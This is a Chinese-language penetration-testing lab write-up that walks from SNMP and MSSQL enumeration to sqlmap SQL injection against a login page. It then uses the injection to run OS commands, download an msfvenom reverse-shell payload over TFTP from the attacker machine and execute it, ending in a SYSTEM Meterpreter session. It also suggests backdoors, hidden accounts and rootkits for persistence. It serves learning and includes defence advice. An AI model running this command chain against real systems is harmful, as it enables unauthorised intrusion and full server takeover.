渗透测试学习笔记之案例五
字数 1972 2025-08-29 08:31:35
渗透测试案例教学:从SQL注入到服务器控制
0x00 案例概述
本案例展示了一个完整的渗透测试过程,攻击者通过SQL注入漏洞作为突破口,最终完全控制了目标服务器。案例涉及多种渗透测试技术,包括信息收集、漏洞扫描、SQL注入利用、权限提升和远程控制。
0x01 实验环境
- 目标靶机: 10.11.1.128
- 操作系统: Windows 2000
- Web服务器: Microsoft IIS 5.0
- 数据库: Microsoft SQL Server 2000
- 攻击机: Kali Linux (10.11.0.74)
0x02 信息收集阶段
1. SNMP服务扫描
使用snmp-check工具扫描目标服务器的SNMP服务(端口161):
snmp-check -c public 10.11.1.128
关键发现:
- 系统信息: Windows 2000 Version 5.0 (Build 2195 Uniprocessor Free)
- 主机名: DJ
- 域: WORKGROUP
- 用户账户: Guest, IUSR_SRV2, IWAM_SRV2, Administrator, TsInternetUser
- 网络接口信息
- 开放的TCP端口: 21(FTP), 25(SMTP), 80(HTTP), 443(HTTPS), 445(SMB), 27900(MSSQL)等
- 共享目录:
- C:\share
- C:\Inetpub\wwwroot (Web根目录)
2. MSSQL服务扫描
使用Metasploit的mssql_ping模块确认MSSQL服务:
msf > use auxiliary/scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > set RHOSTS 10.11.1.128
msf auxiliary(mssql_ping) > run
关键发现:
- SQL Server名称: DJ
- 实例名: MSSQLSERVER
- 版本: 8.00.194 (SQL Server 2000)
- 连接方式:
- 命名管道: \DJ\pipe\sql\query
- TCP端口: 27900
0x03 漏洞发现与利用
1. Web应用测试
发现POST类型的SQL注入漏洞:
- URL: http://10.11.1.128/login-off.asp
- 注入参数: txtLoginID和txtPassword
2. SQL注入验证
使用sqlmap进行深入测试:
sqlmap -u "http://10.11.1.128/login-off.asp" --data="txtLoginID=amdin&txtPassword=1&cmdSubmit=Login" --dbs --current-user --is-dba --current-db --batch
关键发现:
- 注入类型: Stacked queries (堆叠查询)
- 数据库类型: Microsoft SQL Server 2000
- 当前用户: sa (系统管理员)
- 当前数据库: bankdb
- 用户权限: DBA (数据库管理员权限)
- 可用数据库: bankdb, master, model, msdb, tempdb
3. 操作系统命令执行
利用SQL注入执行操作系统命令:
sqlmap -u "http://10.11.1.128/login-off.asp" --data="txtLoginID=amdin&txtPassword=1&cmdSubmit=Login" --os-cmd='命令' --tamper=space2mssqlblank.py
注意: 使用space2mssqlblank.py脚本绕过可能的过滤机制。
0x04 攻击实施
1. 生成Payload
使用msfvenom生成Meterpreter反弹shell:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.74 LPORT=4444 -f exe -o rshell.exe
2. 设置TFTP服务器
将生成的rshell.exe放入Kali的TFTP服务器目录。
3. 下载Payload到目标服务器
通过SQL注入执行TFTP命令下载payload:
sqlmap -u "http://10.11.1.128/login-off.asp" --data="txtLoginID=amdin&txtPassword=1&cmdSubmit=Login" --os-cmd='cd c:\inetpub\wwwroot\ && tftp -i 10.11.0.74 get rshell.exe' --tamper=space2mssqlblank.py
4. 执行Payload
通过SQL注入执行下载的payload:
sqlmap -u "http://10.11.1.128/login-off.asp" --data="txtLoginID=amdin&txtPassword=1&cmdSubmit=Login" --os-cmd='c:\inetpub\wwwroot\rshell.exe' --tamper=space2mssqlblank.py
5. 建立Meterpreter会话
在攻击机上启动Metasploit监听:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 10.11.0.74
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit
成功获取SYSTEM权限的Meterpreter会话。
0x05 技术要点总结
-
信息收集的重要性:
- SNMP扫描可以获取大量系统信息
- 服务识别有助于确定攻击方向
-
SQL注入利用:
- Stacked queries注入允许执行多条SQL语句
- sa权限意味着可以直接执行操作系统命令
-
权限提升:
- 利用数据库管理员权限执行系统命令
- 通过TFTP传输payload避免直接上传
-
后渗透阶段:
- Meterpreter提供了强大的后渗透功能
- SYSTEM权限意味着完全控制系统
0x06 防御建议
-
SQL注入防护:
- 使用参数化查询
- 实施输入验证和过滤
- 最小化数据库账户权限
-
系统加固:
- 禁用不必要的服务(如SNMP)
- 限制数据库账户的操作系统权限
- 禁用xp_cmdshell等危险存储过程
-
监控与日志:
- 监控异常数据库活动
- 记录所有SQL查询
- 监控可疑的进程创建
-
网络防护:
- 限制出站连接(防止TFTP下载)
- 实施网络分段
- 使用防火墙规则限制数据库访问
0x07 扩展思考
-
替代攻击路径:
- 如果SQL注入不可用,可以尝试FTP或SMB服务
- IIS 5.0可能存在已知漏洞可利用
-
权限维持:
- 创建持久性后门
- 添加隐藏用户账户
- 安装rootkit
-
横向移动:
- 收集域内其他主机信息
- 尝试传递哈希攻击
- 利用获取的凭证访问其他系统
本案例展示了从信息收集到完全控制服务器的完整过程,强调了安全配置和漏洞修复的重要性。